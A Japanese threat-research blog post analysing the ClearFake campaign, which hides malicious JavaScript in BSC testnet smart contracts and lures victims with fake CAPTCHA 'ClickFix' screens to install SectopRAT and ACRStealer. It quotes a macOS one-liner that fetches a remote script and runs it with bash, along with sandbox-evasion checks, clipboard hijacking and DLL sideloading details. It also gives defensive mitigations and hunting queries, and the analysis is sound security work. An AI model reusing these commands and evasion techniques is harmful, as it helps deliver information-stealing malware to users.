サイバー犯罪
C&Cサーバとして悪用されるブロックチェーン:BSCテストネットに「堂々と」隠しこまれたClearFake攻撃
BSCブロックチェーンのスマートコントラクトを悪用したClearFake攻撃が発生しています。被害端末を複数の情報窃取ツールに感染させ、ブロックチェーン内に攻撃履歴を蓄積します。
- 「EtherHiding」と呼ばれる手口によって不正なペイロードを「BSCテストネット」のスマートコントラクト内に格納し、ClearFake攻撃に繋げる活動が展開されています。攻撃者は、「一度書き込むと変更・消去できない」というブロックチェーン・ネットワークの性質に目をつけ、これを「停止されることのない」強力な無料インフラとして悪用しています。
- 攻撃の起点は、改ざんされたWebサイトであり、アクセスしたユーザのOS(Windows/macOS)を自動判別し、それに適した偽画面を表示します。次に、「ClickFix」と呼ばれる騙しの手口をもとにユーザ自身にコマンドを実行させ、ブラウザセッション乗っ取りツール「SectopRAT」や情報窃取ツール「ACRStealer」を同時に送り込みます。さらに、攻撃に成功した場合は、その履歴をブロックチェーンのスマートコントラクトに記録することで、被害状況をリアルタイムに追跡する仕組みとなっています。
- 攻撃に利用された4つのスマートコントラクトは、全て同一の暗号資産ウォレットから作られていました。最も古いものは、一年前にまで遡ります。そのため、ブロックチェーンを悪用した本活動は、一時的な実験などではなく、長期的な犯罪キャンペーンであると考えられます。
はじめに
2026年5月にTrendAI™ Researchは、「EtherHiding」と呼ばれる手口に基づくサイバー攻撃を分析しました。本攻撃の特徴は、ペイロードの配信指示を含めたデータの格納先として、ブロックチェーンの一つである「BSC(BNB Smart Chain / Binance Smart Chain)」の「スマートコントラクト」を悪用する点にあります。
従来から見られるC&C(Command and Control:遠隔操作/司令塔)インフラと異なり、ブロックチェーンは「一度書き込んだデータを誰も消せない、変更できない(不変性)」という特性を持ちます。そのため、セキュリティ会社やドメイン管理者、さらに警察などの法執行機関でさえも、その中身を無効化したり、物理サーバのような形で差し押さえることはできません。
TrendAI™の調査に基づくと、被害者はまず改ざんされたWebサイトにアクセスし、そこで不正なJavaScriptプログラムが発動します。このプログラムは、ブロックチェーン上のスマートコントラクトに問い合わせてデータを取得し、その内容に基づいて被害者を後続のステップに誘導します。
ブロックチェーンをC&Cインフラとして悪用
スマートコントラクトは、ブロックチェーン上で動く「自動実行プログラム」に相当します。信頼の置ける中央管理役などを設けることなく取引を成立させられるため、分散型金融(DeFi)の基盤として機能します。今回の土俵である「BNB Smart Chain(BSC)」は、イーサリアムと同じ仕組みを持ったネットワークです。そこでは、任意のデータを含むスマートコントラクトが「Solidity言語」で記述されており、バイトコードにコンパイルされた後、参加している全コンピュータ(ノード)上で全く同様に動作します。
ブロックチェーンを悪用した「EtherHiding」と呼ばれる手法は、2023年10月にGuardz社から報告されました。本手法では、乗っ取ったWebサイトにJavaScriptローダを注入し(インジェクション)、ブロックチェーンに標準的なリクエスト「eth_call」を送ることで、不正な外部URLの埋め込まれたペイロードをBSCコントラクトから引き出していました。静止画やテキストファイルの中に「ペイロードのダウンロード用URL」などを書き込んでおく必要が一切ないため、従来からの「ファイル走査によって不正なURLをブロックする」という対策は、ほとんど通用しなくなります。
「ClearFake」と呼ばれる攻撃キャンペーンでは、上記の手口がさらに進化しています。外部URLではなく、不正なプログラムそのものを丸ごとブロックチェーン内に保存したのです。これにより、外部にマルウェア配信用のサーバなどをわざわざ用意しなくても、ブロックチェーンから読み込まれた不正なコードが、被害者のブラウザ上でそのまま実行されるようになります。Googleが2025年10月に発表した調査によると、この危険な手口が、すでに北朝鮮の政府系ハッカー集団(UNC5342)の間で採用されています。つまり、ブロックチェーンを攻撃の司令塔(C&C)として用いる作戦は、現実として、国家レベルのサイバー活動に取り込まれているのです。
ブロックチェーンによるC&C運用は、犯罪者に大きな利点をもたらします。なぜなら、「不変性(一度書いたデータを消せない)」「分散性」、「低コスト」という3つの特性を備えているためです。
- 不変性:ブロックチェーンに書き込まれた不正なデータ(ペイロード)は変更、削除できず、物理的サーバのように差し押さえられず、偽サーバに誘導して遮断するといった対策(シンクホール)も適用できません。
- 分散性:データは世界各地の幾千に及ぶノード(コンピュータ)にコピーされます。「中枢的なサーバ」が存在しないため、どこか一箇所を狙って全体的な効果をもたらすといったアプローチを適用できません。
- 低コスト:今回の攻撃者は、BNBの本番環境ではなくテストネットを悪用しました。テスト用の通貨(BNB)はネット上の配布所(faucet)から無料で提供されるもので、金銭的な価値がありません。つまり攻撃者は、この強力なインフラをタダ同然で利用していることになります。
スマートコントラクトの仕組みと悪用
本調査の発端は、「TrendAI Vision One™ - Managed Detection and Response(MDR)」で検知された攻撃です。その被害に遭った企業の社員は、趣味に関するごく普通のWebサイトを閲覧していただけなのですが、気づかないうちに多段階のサイバー攻撃に巻き込まれてしまいました。最終的には、Python製の遠隔操作用マルウェア(RAT:Remote Access Trojan)が裏でインストールされ、不正なシェルコードのインジェクションや、ブラウザ内の認証情報窃取といった活動に発展しました。
注目すべきは、スマートコントラクトを悪用した手口です。偽アップデート画面の表示や標的選別、次の攻撃ステップへの振り分けといった「処理」は、すべてクライアント側(被害者のブラウザ)で実行されていました。そして、その「処理」を記述したJavaScriptコードそのものが、スマートコントラクトのストレージに「データ」として保存されており、ブラウザ側から読み込んで実行する仕組みになっていたのです。
TrendAI™ Researchの分析に基づくと、今回の攻撃では、進行にあわせて新たなスマートコントラクトが一つずつ出現する仕組みとなっています。確認された4つのスマートコントラクトA~Dについて、以下に示します。
- 改ざん済みWebサイトに仕込まれた「初期JavaScript(第1段階)」の内部で発見されました。Base64でエンコードされた、振り分け用JavaScript(セキュリティ調査の妨害、OSに応じた処理の振り分け)を保持しています。本ブログではこれを スマートコントラクトA と呼びます。0xA1decFB75C8C0CA28C10517ce56B710baf727d2e
- コントラクトAから得た「振り分け用JavaScript(第2段階)」の内部で発見されました。Windows端末を標的に「ClickFix」の偽アップデート画面を表示する、Windows専用のJavaScriptです。本ブログではこれを スマートコントラクトB と呼びます。0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
- 同じく、コントラクトAから得た「振り分け用JavaScript(第2段階)」の内部で発見されました。macOS専用のペイロードです。本ブログではこれを スマートコントラクトC と呼びます。0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5
- コントラクトBから得た「Windows用JavaScript(第3段階)」の内部で発見されました。攻撃成功(不正なペイロード実行に至ったか)の記録を格納し、攻撃者が被害状況をリアルタイムで管理・追跡するために用いられます。本ブログではこれを スマートコントラクトD と呼びます。0xf4a32588b50a59a82fbA148d436081A48d80832A
攻撃用に配備されたSolidityコントラクトを調べたところ、以下の3機能(関数)が確認されました。
-
set()関数(セレクター:0x4ed3885e):アドレス一致チェックにより、コントラクト所有者(攻撃者)だけが利用できます。ここに文字列データを送信すると、コントラクト自身のストレージに保存されます。先に挙げたコントラクト内のJavaScriptなどは、こうしたストレージに保存されたものと見られます。 -
get()関数(セレクター:0x6d4ce63c):誰でも呼び出せる関数であり、ストレージに格納されたデータをそのまま返します。被害者のブラウザ側では、標準コマンド「eth_call」を通して本機能を利用します。 -
owner()関数:コントラクトを作成した攻撃者自身の暗号資産ウォレット・アドレスを返します。
以上のように、各コントラクトが持つ表向きの関数自体は単純であり、それぞれ最小限の「キー・値型ストレージ」を構成しているだけです。問題は、そのストレージの中身に不正なプログラムが書き込まれている点です。攻撃者がプログラムを更新したい場合は、set()関数の呼び出しを伴う取引(トランザクション)をブロックチェーン上で1度行うだけで、事足ります。そうすれば、対象コントラクトに問い合わせを行う全ての改ざんサイトに対し、更新内容を反映させたことになります。
本攻撃の「侵入口」にあたるスマートコントラクトAは、ちょうど前述したモデル(最小限のデータストレージ)に沿って機能します。はじめに攻撃者は、set()関数を1度だけ呼び出し、Base64でエンコード済みの「振り分け用JavaScript」をコントラクトAのストレージに書き込みました。以降、被害者のブラウザを含め、世界中の誰もがget()関数を呼び出すだけで、この不正なJavaScriptを文字列形式で引き出せる状態になっていました。
重要なのは、コントラクトのストレージが「ブロックチェーンの一部」として存在することです。中央サーバなどによって集中的に管理されるものではなく、世界各地にまたがる全BSCノードに同時分散しています。ブロックチェーンの性質上、これを第三者の手で変更、削除することは、困難です。
4つのコントラクトをブロックチェーン上で検証したところ、すべて下記の同一ウォレットアドレスから公開されていることが判明しました。
各コントラクトの公開時期を追うことで、今回の攻撃キャンペーンがたどった経緯を読み取れます。
- 2025年5月26日:侵入口となる「スマートコントラクトA」が公開されました。
- 2025年6月18日:攻撃成功ステータスの記録用「スマートコントラクトD」が公開されました。
- 2025年9月24日:Windows向けの「スマートコントラクトB」が公開されました。
- 2025年9月30日:macOS向けの「スマートコントラクトC」が公開されました。
第1段階:JavaScriptの注入とブロックチェーンへの問い合わせ
初期アクセス:「水飲み場(標的が頻繁にアクセスするサイト)」を改ざん
今回の被害者は、スイスのレクリエーション活動に関する正規のWordPressサイトを閲覧していました。このサイトが読み込む22個のスクリプトは、すべてWordPress本体またはプラグインによる正常なものでしたが、ただ1つだけ、異物が混入していました。
ページ内<head>セクションの146行目に、以下の不審なタグが埋め込まれていたのです。
<script src="data:text/javascript;base64(以下略)">
そのペイロードは、外部の怪しいWebサイトから読み込まれるのではなく、改ざん済みWordPressサイトのHTMLコード内に、インラインデータとして直接埋め込まれていました(データURIスキーム)。結果、接続先の「外部ドメイン」や「URL」は存在せず、セキュリティ対策ソフトなどによって不正なURLを弾くといった対策が適用できない状態となっていました。
問題のペイロードをBase64でデコードしたところ、難読化状態の「初期JavaScript」が表出しました。これが、「ClearFake」による攻撃の起点であり、ローダとして機能します。
初期JavaScriptによるブロックチェーン問い合わせ
改ざん済みサイトに表れた初期JavaScriptは、以下に示す標準的な難読化技術が施されており、静的解析の妨害を意図したものとなっています。
- 文字列プール:プログラム内で使用する全ての文字列をひとつの配列にまとめておき、利用時には、関数「
_0x4e2e()」とインデックス番号を用いて目的の文字列を取得します。 - 実行時の配列シャッフル:プログラムが起動した直後に専用の関数が作動し、あらかじめ設定されたチェックサム値が一致するまで、上記の文字列プール(配列)をシャッフルします。
こうした難読化の仕掛けを紐解き、インデックス番号に隠されていた文字列を復元したところ、以下のように、攻撃の詳細に関わる重要なテキストが浮かび上がりました。
- ブロックチェーンにアクセスするための窓口(BSC RPCエンドポイント)
hxxps://bsc-testnet-rpc.publicnode[.]com/ - ブロックチェーンのデータ取得に使用されるJSON-RPCコマンド
eth_call - スマートコントラクトAのアドレス
0xA1decF... - 関数
get()の識別子(セレクター)0x6d4ce63c - 通信時のデータ形式(コンテンツタイプ)application/json
- ブロックチェーンから返ってきたデータのデコードに必要な処理名一式
result、json、slice、fromCharCode、apply
こうした要素を暴いた後に見えてくるのが、下図に示す非同期関数「load_()」であり、処理ロジックの中枢に相当します。
この時点で、セキュリティ分析に関わる3つの重要な特徴が見られます。
- 自前のデータ解読:スマートコントラクトと通信して返ってきたデータ(ABI形式)の解読処理は、すべて独自のJavaScriptによって行われます。このプログラムは、EVM ABIでエンコードされた応答文字列(32バイトのオフセット値、32バイトのデータ長、生の文字列データ)を解読するために、既製のWeb3ライブラリなどを用いることなく、手作業でパース処理を実施します。外部ツールへの依存を最小限に抑えこみ、自前のスクリプトだけで動くようにする工夫と見られます。なお、ABI(Application Binary Interface)とは、イーサリアムやEVM系のブロックチェーンにおいて、スマートコントラクトとやり取りする際のエンコード規格に相当します。
- テストネットの悪用:本攻撃に関わるコントラクトは、本番環境(メインネット)ではなく、BNB Smart Chainのテストネット上に展開されていました。これは、コントラクトの公開に発生する費用を抑えると同時に、監視や特定を難しくする効果を狙ったものと見られます。
- 「無音」のエラー制御:プログラム内のエラーハンドラ(不具合発生時の処理)は、完全に空のコード(
function .catch(() => {}))になっていました。これにより、ブロックチェーンとの通信失敗やデータ破損といったエラーが発生しても、裏側ですべてもみ消され、被害者側では何も察知できなくなります。
第2段階:サンドボックス検知とペイロードの振り分け
今回の攻撃では、被害者のOSに応じた不正なペイロードを配信する前に、2種の「環境チェック」が行われます。このチェックを担う関数の1つである「isHeadless()」は、以下に示す7つの基準をもとに、セキュリティ解析環境やダミー環境を検知します。
- ブラウザのフラグ「webdriver」が有効化されているかをチェックします。これにより、Seleniumなどの自動テストツールを検知します。
navigator.webdriver === true - ユーザエージェント情報の中に文字列「HeadlessChrome」が含まれていないかをチェックします。
/HeadlessChrome/.test(navigator.userAgent) - 画面表示を持たない自動化ブラウザ「PhantomJS」の痕跡をチェックします。
navigator.userAgent.includes("PhantomJS") - ブラウザ自動化フレームワーク「Puppeteer」が使われていないかをチェックします。
navigator.userAgent.includes("Puppeteer") - ブラウザ自動化フレームワーク「Playwright」が使われていないかをチェックします。
navigator.userAgent.includes("Playwright") - ブラウザウインドウの幅と高さが双方「ゼロ」になっていないかチェックします。これにより、画面を表示させずに裏で動く調査ツールなどを検知します。
window.outerWidth === 0 && window.outerHeight === 0 - 実行中の環境内で、主要3大ブラウザ(Chrome、Safari、Firefox)のいずれも検出されない状態をチェックします。
!window.chrome && !window.safari && !navigator.userAgent.includes("Firefox")
もう一方の環境チェック関数「isLocalhost()」は、すべてのプライベートIPアドレス(192.168.x.x、10.x.x.x、172.16.x.x、172.31.x.x)やローカルホストをブロックします。これにより、セキュリティ調査などの検証環境(サンドボックス)ではペイロードが発動しないように制御します。なお、IPアドレスを調べる際には、被害端末の「内部ネットワークIP(プライベートIP)」を直接見るのではなく、Avast社の「IP位置情報サービス」を利用し、インターネットへの「出口」にあたるグローバルIPアドレスを外側から参照します。
一連の環境チェックを通過した端末は、「本物の標的」として扱われます。まず、ブラウザ情報「userAgent」と「userAgentData.platform」をもとにOS情報が特定され、それに対応するコントラクトに自動で振り分けられます。
- Windowsの場合:スマートコントラクトBに誘導
- macOSの場合:スマートコントラクトCに誘導
環境チェックを通過しなかった場合、「stop watching us :)(訳:解析しないでください)」という文字列がコンソール出力され、以降の処理は打ち切られます。通常の被害者がこのメッセージを目にすることは、ありません。
第3段階:ClickFixの偽画面表示とユーザ実行
Windowsの場合
被害端末がWindowsユーザの場合、スマートコントラクトBから約43KBの「Windows用JavaScript」が返されます。このプログラムを解析したところ、オーバーレイ表示するClickFix画面の全データ、クリップボードの乗っ取り処理、そして攻撃成功ステータスを追跡する仕組みが含まれていました。
本プログラムは、偽画面に表示する前に、関数「getUserID()」を実行します。これは、下記に示すAvast社のIP位置情報APIと同期通信(XMLHttpRequest)を行い、被害者の本当のグローバルIPアドレスを取得するものです。
ip-info.ff.avast[.]com/v2/info
次に、得られたグローバルIPを被害者の識別番号(UUID)に変換し、ブラウザ内に「cjs_id」という名前のクッキーとして保存します。クッキーの有効期限(TTL)は、2日間に設定されます。このクッキーをベースに攻撃者は、ブロックチェーン上で対象端末の「攻撃成功ステータス」を記録し、「その端末が以前にも不正なサイトにアクセスしたか」といった履歴を把握できるようになります。
オーバーレイ表示される偽画面は、2枚のパネル構成になっていました。第1パネルは、本物そっくりの「Google reCAPTCHA画面(ロボット認証画面)」を装い、SVG形式のGoogleロゴや、「私はロボットではありません」のチェックボックス、プライバシー・利用規約のリンクなどが添えられています。被害者がだまされてチェックボックスをクリックすると、第2パネルが最前面に表示されます。そこには図5のように、「ClickFix」に特有の巧妙な指示が記載されています。
被害者がチェックボックスをクリックしたその瞬間、画面が切り替わると同時に、裏では下記のコードが呼び出されます。
navigator.clipboard.writeText()
これにより、クリップボードの内容が書き換えられ、不正なコマンドが埋め込まれます。
エンドポイントのテレメトリ情報によると、ある被害者は、指示通りに「ファイル名を指定して実行(Run)」のWindowsダイアログを開き、クリップボード内の不正なコマンドをそのまま貼り付け、自ら実行してしまいました。
本件を踏まえて企業や組織においては、「ファイル名を指定して実行(Run)」へのユーザアクセスを制限することや、クリップボード経由でのコマンド実行を防ぐセキュリティコントロールを導入することについて、検討することを推奨します。
クリップボード内の不正なコマンドが実行されると、本事例の場合、Windowsの標準サービス「WebClient」が作動し、外部サーバから「put34b.camp」という名前のDLLが読み込まれました。標準的な「.dll」ではなく、あえて「.camp」という見慣れない拡張子が使われています。本DLLは、ディスク内にファイルとして保存されることなく、メモリ内に直接とりこまれました。エンドポイントのテレメトリ情報を見ても、ファイル作成のイベントなどは一切見られませんでした。
一方でテレメトリには、以下のリモートスレッド作成イベントが2件記録されていました。
PROCESS_CREATE_REMOTETHREAD
内容に基づくと、先述した「put34b.camp」のホスト元である正規プロセス「rundll32.exe」が、自身のスレッドを別プロセス「chrome.exe(Google Chrome)」や「msedge.exe(Microsoft Edge)」に注入したと見られます。その目的は、モジュール「_remote_debugging.pyd(詳細は「第4段階」で解説)」を動かし、ブラウザ保存の認証情報を窃取することにあります。
macOSの場合
被害者がmacOSユーザだった場合、第2段階の判定結果として「スマートコントラクトC」に誘導されます。macOSに対応する直近のブロックチェーン取引(IDは下に記載)を分析したところ、このコントラクトCも、他と同様の「キー・値型ストレージ」のモデルで運用されていました。
取引ID:0x029adddb5a03f16ffbe2907d17b36cb4032850f7856d9d38d3d9aba7ec3e2857
このmacOS事例で利用された各コントラクト内のJavaScriptをデコードしたところ、やはり、同じパターンが踏襲されていました。具体的には、関数「isHeadless()」によって解析妨害用のチェックを行い、続いてAvast社の位置情報サービスを通して被害者のグローバルIPアドレスを奪取し、それを「cjs_id」という名前のクッキー(UUID形式)として保存します。さらに、「スマートコントラクトD」を通して攻撃成功の記録を照合します。
一方、被害端末側で表示されるソーシャルエンジニアリングの偽画面については、一部、macOS向けの技巧が見られました。第1パネルに関してはWindowsの時と同様であり、Google reCAPTCHA画面や、「私はロボットではありません」のチェックボックスが表示されます。この点より、Windows版とmacOS版の双方とも、同一グループに作成されたものとみなせます。しかし、チェックボックスのクリック後に表示される「ClickFix」の操作指示が、以下のように、macOSに特化した内容となっていました。
- ご利用のMacで「ターミナル」アプリを開きます(アプリケーション > ユーティリティ > ターミナル)。
- 開かれた検証ウィンドウ上で、Command + V を押します。
- Enterキーを押して、完了します。
クリップボード内に埋め込まれるコマンドは、以下の通り、たった1行のbashコマンドでした。
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '{URL}')"
本コマンドは、通信機能「curl」を用いてリモートシェルスクリプトをダウンロード、実行します。その際、「macOS 10.15.7 (Catalina)」というユーザエージェントを明示的に提示し、確実にmacOS用のペイロードがダウンロードされるようにします。また、ダウンロード用URL(上記コマンドのURL部)は、難読化されたJavaScript内部で動的に組まれます。そのため、URLの復元には、動的解析が必要でした。
macOS用のペイロードには、Windows版に存在しない機能が含まれています。まず、偽画面の表示時に、下記のネスト化された処理を実行します。
eval(atob({Base64でエンコードされたコマンド}))
これにより、正規のアクセス解析ツール「Yandex Metrika」に対応するトラッカーが、偽画面の内部に埋め込まれます。
カウンターID:99162160
読み込み先:mc.yandex[.]ru/metrika/tag.js
以上によって攻撃者は、ブロックチェーン上の攻撃成功ステータスとは別の追跡ルートを確保します。被害者の「クリックマップ(画面のどこをクリックしたか)」、「リンクのクリック履歴」、「直帰率」といった行動データを詳細に把握できるようになります。
第4段階:RAT(Remote Access Trojan:遠隔操作用マルウェア)の起動
第4段階では、独立して動作する「Python 3.15」の実行環境一式(embeddable)が、下記のように正規FTPクライアント「FileZilla」を装ったフォルダに配備されました。
C:\Users\{ユーザ名}\AppData\Local\FileZilla\Data\DC80D99D\
このフォルダ内には、バックグラウンドで動くPythonインタプリタ「pythonw.exe」や、シェルコードローダ「helper.py」など、計38個のファイルが作られていました。
端末のプロセス作成イベントを調べたところ、実際にpythonw.exeやhelper.pyが起動されたことも判明しました。
プロセス「dllhost.exe」の通信記録より、下記ドメインに関するDNS問い合わせ履歴が確認されました。
api.github[.]com
registry.npmjs[.]org
pypi[.]org
download2324.mediafire[.]com
しかし、これらのドメインから具体的にどのようなコンテンツがダウンロードされたかまでは、確認できていません。
Pythonベースのペイロードを分析したところ、情報窃取型マルウェア「ACRStealer」と同じ特徴が見られました。このマルウェアは、Vega Security社が2026年2月のレポート(類似の「ClearFake」に関する分析)で示したものです。
情報窃取に使用されたもう1つのマルウェアが「SectopRAT」であり、ブラウザパスワードやクレジットカード情報、クッキー、暗号資産ウォレット拡張機能、Discord/Telegramセッション、Steam/VPN/FTPの認証情報、システム情報が主な標的とされました。SectopRATの特徴は、「目に見えない第2のデスクトップ」をバックグラウンドに生成する点です。攻撃者は、この隠し画面を通じてChromeやEdgeなどのブラウザセッションを掌握し、被害者に気づかれることなく情報を窃取し、C&Cサーバに送信します。また、メインのC&Cサーバ通信が遮断された際には、前述のドメイン「MediaFire」を予備のデータ格納先(フォールバック)として利用する備えも組まれています。
さらに今回の攻撃者は、Firefoxのデータ領域を装った下記ディレクトリに、「DLLサイドローディング」用の3ファイルを配備しました。
C:\Users\{ユーザ名}\AppData\Local\Mozilla\Firefox\361e6e66.default\
その構成は、正規のファイル「vlc.exe」、「libvlc.dll」に加え、不正なファイル「libvlccore.dll」を意図的に並べたものです。不正な「libvlccore.dll」は一種の「プロキシDLL」として動き、vlc.exeからのAPI呼び出しを本物のライブラリに転送する一方、裏では自身のデータ領域(.relocセクション)から4.29MBの暗号化プログラムを取り出し、実行していました。そのプログラムが、前述の「ACRStealer」に相当します。
スマートコントラクトD:ブロックチェーン上の攻撃成功ステータス
スマートコントラクトBから取得したWindows用JavaScript(ClickFixの偽画面表示プログラム)を解析したところ、「スマートコントラクトD」のアドレスがハードコーディングで埋め込まれていました。このコントラクトDは、「被害履歴の追跡」と「二重感染の防止」という2つの目的を兼ね備えています。
具体的な動きとして、偽画面を表示する前に以下の関数を自動で呼び出し、被害者の識別子(UUID/パブリックIP)がコントラクトD内のリストに存在するか確認します。
isGoalReached(uuid)
存在する場合、偽画面の表示処理を完全にスキップします。これにより、すでに被害を受けたユーザに同じ偽画面を見せないように制御しています。
一方、偽画面を表示して不正な活動が成功した場合、攻撃者は以下の関数を呼び出します。
addtoList(string)
これにより、被害者のパブリックIP(Avast社のIP位置情報サービスから取得したもの)に対する攻撃が成功したというステータスを、コントラクトDに書き込みます。以降、被害者のブラウザ側から以下の問い合わせがあった際には、「yes(攻撃完了)」の応答が返されるようになります。これを受けて、ブラウザの表示要素(DOM)から偽画面が自動で消去される仕組みです。
isGoalReached(uuid)
まとめ
今回の攻撃活動が示す通り、ブロックチェーンを悪用したペイロード配信の手口は、すでに「概念実証(PoC:Proof of Concept)」の段階を超え、「事実上の脅威」に進化しています。
攻撃の基軸である「EtherHiding」という手法は、従来のマルウェア対策で最も手を付けやすかったインフラ要素(不正なドメイン、IPアドレス、ホスティングプロバイダなど)を完全に排除しています。悪用された4つのスマートコントラクトは、本稿執筆時点でも、BNB Smart Chainのテストネット上で稼働し続けています。セキュリティベンダーやドメイン管理事業者、法執行機関でさえも、ブロックチェーン内に格納された不正なプログラムを変更、削除できません。これは、システムの限界ではなく、「変更不能(イミュータブル)で分散型」というブロックチェーンの根本的な性質によるものです。企業や組織のセキュリティチームでは、「完全停止できないC&Cインフラ」の実態について、認識を強める必要があると考えられます。
今回のような攻撃を阻止するために、企業や組織では、以下の4層からなる対策を実施することが推奨されます。
- ネットワーク層:不正なスマートコントラクトへの接続を防ぐため、外向けのJSON-RPC通信を監視し、特に「BNB Smart Chainテストネット」の公開RPCエンドポイント(
bsc-testnet-rpc.publicnode[.]comなど)への接続を遮断します。これにより、マルウェアが動く手前の「ブロックチェーン問い合わせ」を阻止できます。 - エンドポイント層:「WebDAV(ファイル共有の仕組み)」を必要としない端末では、Windowsサービス「WebClient」を無効化してください。これにより、遠隔からの不正なDLL読み込みを防止できます。無効化できない場合は、「
rundll32.exe」がUNCパスの引数付きで実行される状態を監視できるように、検知ルールを追加することが有効です。 - ブラウザ層:ClickFixによるソーシャルエンジニアリングの手口を阻止するため、企業のブラウザ管理ポリシーを用いて「クリップボードへの書き込みアクセス」を制限します。これにより、ユーザ自身が不正なコマンドを実行してしまうリスクを低減できます。また、Webプロキシ上のログを監視し、
eth_callやJSON-RPCのパターンをブロック、またはアラート対象に含めることも有効です。これが、「EtherHiding」の早期発見に繋がります。 - エンドユーザ層:偽CAPTCHA認証やClickFix詐欺に関するセキュリティ意識向上トレーニングの実施を検討してください。こうした取り組みは、ソーシャルエンジニアリング攻撃に対する最前面の防衛線として機能します。今回の巧妙な攻撃も、被害者が騙されてコマンドを実行しなければ、防げていたはずです。
本攻撃の分析や可視化に寄与したセキュリティプラットフォーム「TrendAI Vision One™」は、複数階層にまたがった検知と調査の機能を提供します。そのエンドポイント・センサーにより、初期の「rundll32.exe」の起動から、リモートスレッドインジェクション(プロセス乗っ取り)、「dllhost.exe」の生成、PythonベースのRAT配備に至るまで、すべての実行フローが解明されました。そして、単一の統合画面を通じて、プロセスやファイル、ネットワーク・テレメトリの各イベントを相互に関連付けて整理し、全体像を把握することが可能となりました。
また、「TrendAI™ Managed Detection and Response(MDR)」は、TrendAI™による世界規模の脅威インテリジェンスに基づき、専門家による脅威監視と対応を24時間365日体制で提供します。今回の場合、エンドポイントから発せられた「ただ1つの確度の高いアラート」を起点として、TrendAI™ MDRのアナリストが調査を開始しました。そこから、ブロックチェーンを悪用したマルウェア配信インフラの構造や、「SectopRAT」によるペイロードの全容を解明するに至りました。
TrendAI Vision One™ Threat Intelligence Hub
「TrendAI Vision One™」の「Threat Intelligence Hub」は、新たな脅威や攻撃者に関する最新情報、「TrendAI™ Research」による独自の戦略レポート、そして「TrendAI Vision One™ - Threat Intelligence Feed」を提供します。
Emerging Threats:Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet(高まる脅威:C&Cサーバとして悪用されるブロックチェーン:BSCテストネットに「堂々と」隠しこまれたClearFake攻撃)
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet (高まる脅威:C&Cサーバとして悪用されるブロックチェーン:BSCテストネットに「堂々と」隠しこまれたClearFake攻撃)
スレットハンティングのクエリ
eventSubId: 301 AND hostName:bsc-testnet-rpc.publicnode.com AND processName:(chrome.exe OR msedge.exe OR microsoftedge.exe OR firefox.exe OR iexplore.exe OR opera.exe OR brave.exe OR vivaldi.exe OR waterfox.exe)
上記クエリは、一般的なブラウザから「Binance Smart Chainテストネット用RPCエンドポイント」へのDNSリクエストを検知します。これは、ClearFakeの改ざん済みWebサイトにユーザがアクセスしたことを示唆します。なお、ユーザがweb3アプリを開発している場合、偽陽性の検知項目としてあがる可能性もあります。
eventSubId: 701 AND parentName:rundll32.exe AND parentCmd:\\*** AND objectCmd:(chrome.exe OR msedge.exe OR microsoftedge.exe OR firefox.exe OR iexplore.exe OR opera.exe OR brave.exe OR vivaldi.exe OR waterfox.exe)
上記クエリは、ネットワーク上の共有フォルダ(WebDAVのUNCパス)から起動した不正なDLLが、一般的なブラウザプロセスへのインジェクション(不正なプログラムの注入)を開始した旨を示唆します。
「TrendAI Vision One™」のアプリ「XDR Data Explorer App」
「TrendAI Vision One™」のお客様は、プラットフォーム内のアプリ「XDR Data Explorer」を活用することで、業務環境をスキャンし、今回挙げた侵入の痕跡(通信先、ファイルの特徴など)を検索(ハンティング)することが可能です。
「Threat Intelligence Hub」が有効化されている場合は、さらに多くのハンティング用クエリをご利用いただけます。
侵入の痕跡(IoC:Indicators of Compromise)
本事例に関連するIoCについて、こちらからご参照いただけます。
参考記事
Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet」
By: Ryan Soliven
翻訳:清水 浩平(Platfrom Marketing, Trend Micro™ Research)